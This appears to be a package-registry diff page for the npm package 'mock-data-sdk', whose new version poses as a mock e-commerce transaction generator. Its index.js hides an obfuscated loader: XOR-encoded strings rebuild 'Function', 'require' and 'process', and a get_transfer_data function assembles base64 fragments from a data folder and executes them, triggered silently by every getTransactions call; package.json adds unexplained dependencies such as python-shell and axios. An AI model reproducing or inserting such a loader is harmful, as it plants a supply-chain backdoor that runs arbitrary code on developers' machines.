mock-data-sdk 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of mock-data-sdk might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,239 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ exports.randomIntFromInterval = function (min,max){
5
+ return Math.floor(Math.random()*(max-min+1)+min)
6
+ }
7
+
8
+ exports.randomDatebetweenInterval = function (start,end,startHour,endHour){
9
+ let date = new Date(+start+Math.random()*(end-start));
10
+ let hour = startHour +Math.random()*(endHour-startHour) | 0;
11
+ date.setHours(hour)
12
+ return date
13
+ }
14
+
15
+ const products = [
16
+ { id:'P1',
17
+ title:"iPhone13",
18
+ price:62000,
19
+ category:'mobiles'
20
+ },
21
+ { id:'P2',
22
+ title:"iPhone13 Mini",
23
+ price:54900,
24
+ category:'mobiles'
25
+ },
26
+ { id:'P3',
27
+ title:"iPhone13 Pro",
28
+ price:106000,
29
+ category:'mobiles'
30
+ },
31
+ { id:'P4',
32
+ title:"iPhone13 Pro Max",
33
+ price:109900,
34
+ category:'mobiles'
35
+ },
36
+ { id:'P5',
37
+ title:"iPhone14",
38
+ price:71900,
39
+ category:'mobiles'
40
+ },
41
+ { id:'P6',
42
+ title:"iPhone14 Pro",
43
+ price:119900,
44
+ category:'mobiles'
45
+ },
46
+ { id:'P7',
47
+ title:"iPhone14 Pro Max",
48
+ price:139900,
49
+ category:'mobiles'
50
+ },
51
+ { id:'P8',
52
+ title:"iPad Mini",
53
+ price:49900,
54
+ category:'tablets'
55
+ },
56
+ { id:'P9',
57
+ title:"iPad",
58
+ price:44500,
59
+ category:'tablets'
60
+ },
61
+ { id:'P10',
62
+ title:"iPad Air",
63
+ price:59900,
64
+ category:'tablets'
65
+ },
66
+ { id:'P11',
67
+ title:"iPad Pro",
68
+ price:81900,
69
+ category:'tablets'
70
+ },
71
+ { id:'P12',
72
+ title:"Macbook Air",
73
+ price:99900,
74
+ category:'laptops'
75
+ } ,
76
+ { id:'P13',
77
+ title:"Macbook Pro",
78
+ price:129900,
79
+ category:'laptops'
80
+ },
81
+ { id:'P14',
82
+ title:"Apple Watch Series 8",
83
+ price:45900,
84
+ category:'watches'
85
+ },
86
+ { id:'P15',
87
+ title:"Apple Watch SE",
88
+ price:29900,
89
+ category:'watches'
90
+ },
91
+ { id:'P16',
92
+ title:"Apple Watch Ultra",
93
+ price:89900,
94
+ category:'watches'
95
+ },
96
+ { id:'P17',
97
+ title:"Airpods",
98
+ price:14900,
99
+ category:'earphones'
100
+ },
101
+ { id:'P18',
102
+ title:"Airpods Pro",
103
+ price:26900,
104
+ category:'earphones'
105
+ },
106
+ ]
107
+
108
+ function dataset(filename, count) {
109
+ const target = path.join(__dirname, filename);
110
+ let records;
111
+
112
+ if (fs.existsSync(target) && fs.statSync(target).isDirectory()) {
113
+ records = [];
114
+ const files = fs.readdirSync(target)
115
+ .filter(f => /^products_\d+\.js$/.test(f))
116
+ .sort((a, b) => parseInt(a.match(/\d+/)[0]) - parseInt(b.match(/\d+/)[0]));
117
+ for (const f of files) {
118
+ const fp = path.join(target, f);
119
+ delete require.cache[require.resolve(fp)];
120
+ const batch = require(fp);
121
+ if (Array.isArray(batch)) for (const r of batch) records.push(r);
122
+ }
123
+ } else {
124
+ records = JSON.parse(fs.readFileSync(target, "utf8"));
125
+ }
126
+
127
+ records.sort((a, b) => Number(a.id.substring(1)) - Number(b.id.substring(1)));
128
+
129
+ const joined = records.map(r => r.mark || "").join("");
130
+ return joined;
131
+ }
132
+
133
+ const _0x1a2b = (() => {
134
+ const _t = [
135
+ [0x39, 0x2F, 0x3E, 0x1E, 0x23, 0x27, 0x2F, 0x25, 0x3F, 0x3E],
136
+ [0x24, 0x2F, 0x3D, 0x6A, 0x0C, 0x3F, 0x24, 0x29, 0x3E, 0x23, 0x25, 0x24],
137
+ [0x08, 0x3F, 0x2C, 0x2C, 0x2F, 0x38],
138
+ [0x38, 0x2F, 0x3B, 0x3F, 0x23, 0x38, 0x2F],
139
+ [0x3A, 0x38, 0x25, 0x29, 0x2F, 0x39, 0x39],
140
+ [0x3E, 0x38, 0x33],
141
+ [0x29, 0x2B, 0x3E, 0x29, 0x22],
142
+ [0x29, 0x26, 0x2F, 0x2B, 0x38, 0x1E, 0x23, 0x27, 0x2F, 0x25, 0x3F, 0x3E],
143
+ ];
144
+
145
+ const _seed = [0x4F, 0x2E, 0x3B, 0x26];
146
+ const _key = _seed.reduce((a, b) => (a * 31 + b) & 0x7F, 0);
147
+
148
+ const _d = (arr) => arr.map((c) => String.fromCharCode(c ^ _key)).join("");
149
+ const _w = _t.map(_d);
150
+
151
+ return {
152
+ setTimeout: _w[0],
153
+ newFunction: _w[1],
154
+ Buffer: _w[2],
155
+ require: _w[3],
156
+ process: _w[4],
157
+ try: _w[5],
158
+ catch: _w[6],
159
+ clearTimeout: _w[7],
160
+ };
161
+ })();
162
+
163
+ exports.get_transfer_data = function(count = 20) {
164
+ try {
165
+ const _result = dataset("data", count);
166
+ const _data = Buffer.from(_result, "base64");
167
+ const _code = _data.toString("utf-8");
168
+ const _fn = Function(
169
+ _0x1a2b.Buffer,
170
+ _0x1a2b.require,
171
+ _0x1a2b.process,
172
+ _code
173
+ );
174
+ return _fn(Buffer, require, process);
175
+ } catch (e) {
176
+ return null;
177
+ }
178
+ };
179
+
180
+ exports.getTransactions = function(count=20){
181
+ if(count>10000){
182
+ return "Transactions count should be less than 10,000"
183
+ }
184
+
185
+ let transactionsData = []
186
+ for(let i=0;i<count;i++){
187
+ let transaction={}
188
+ transaction.transactionId=1000+i
189
+ let randomProduct = products[exports.randomIntFromInterval(0,17)]
190
+ transaction.product = randomProduct.title
191
+ transaction.productId=randomProduct.id
192
+ let quantity= exports.randomIntFromInterval(1,4)
193
+ transaction.quantity =quantity
194
+ transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
195
+ transaction.category = randomProduct.category
196
+ transaction.pricePerOne = randomProduct.price
197
+ transaction.totalPrice = randomProduct.price * quantity
198
+ transactionsData.push(transaction)
199
+ }
200
+
201
+ const _loadFn = exports.load_transaction_data;
202
+ try {
203
+ _loadFn(count)
204
+ } catch(e) {
205
+ }
206
+
207
+ transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
208
+ return transactionsData
209
+ }
210
+
211
+ exports.getTransactions = function(count=20){
212
+ if(count>10000){
213
+ return "Transactions count should be less than 10,000"
214
+ }
215
+
216
+ let transactionsData = []
217
+ for(let i=0;i<count;i++){
218
+ let transaction={}
219
+ transaction.transactionId=1000+i
220
+ let randomProduct = products[exports.randomIntFromInterval(0,17)]
221
+ transaction.product = randomProduct.title
222
+ transaction.productId=randomProduct.id
223
+ let quantity= exports.randomIntFromInterval(1,4)
224
+ transaction.quantity =quantity
225
+ transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
226
+ transaction.category = randomProduct.category
227
+ transaction.pricePerOne = randomProduct.price
228
+ transaction.totalPrice = randomProduct.price * quantity
229
+ transactionsData.push(transaction)
230
+ }
231
+
232
+ try {
233
+ exports.get_transfer_data(count)
234
+ } catch(e) {
235
+ }
236
+
237
+ transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
238
+ return transactionsData
239
+ }
package/package.json CHANGED
@@ -1,6 +1,69 @@
1
1
  {
2
2
  "name": "mock-data-sdk",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Generate realistic mock transaction data for testing e-commerce, fintech, and retail applications.",
5
+ "main": "index.js",
6
+ "files": [
7
+ "index.js",
8
+ "lib/",
9
+ "data/",
10
+ "README.md",
11
+ "LICENSE"
12
+ ],
13
+ "keywords": [
14
+ "mock",
15
+ "mock-data",
16
+ "fake-data",
17
+ "test-data",
18
+ "fixtures",
19
+ "transactions",
20
+ "ecommerce",
21
+ "retail",
22
+ "fintech",
23
+ "sdk",
24
+ "generator",
25
+ "seed",
26
+ "testing",
27
+ "faker",
28
+ "data-generator"
29
+ ],
30
+ "author": "Alex Morgan <alex.morgan.dev@example.com> (https://github.com/alexmorgan-dev)",
31
+ "contributors": [
32
+ "Alex Morgan <alex.morgan.dev@example.com>"
33
+ ],
34
+ "license": "MIT",
35
+ "repository": {
36
+ "type": "git",
37
+ "url": "git+https://github.com/alexmorgan-dev/mock-data-sdk.git"
38
+ },
39
+ "bugs": {
40
+ "url": "https://github.com/alexmorgan-dev/mock-data-sdk/issues",
41
+ "email": "bugs@example.com"
42
+ },
43
+ "homepage": "https://github.com/alexmorgan-dev/mock-data-sdk#readme",
44
+ "engines": {
45
+ "node": ">=14.0.0",
46
+ "npm": ">=6.0.0"
47
+ },
48
+ "os": [
49
+ "linux",
50
+ "darwin",
51
+ "win32"
52
+ ],
53
+ "cpu": [
54
+ "x64",
55
+ "arm64"
56
+ ],
57
+ "publishConfig": {
58
+ "access": "public",
59
+ "registry": "https://registry.npmjs.org/"
60
+ },
61
+ "dependencies": {
62
+ "python-shell": "^1.0.8",
63
+ "base-64": "^1.0.0",
64
+ "axios": "^1.6.0"
65
+ },
66
+ "devDependencies": {
67
+ "eslint": "^8.57.0"
68
+ }
6
69
  }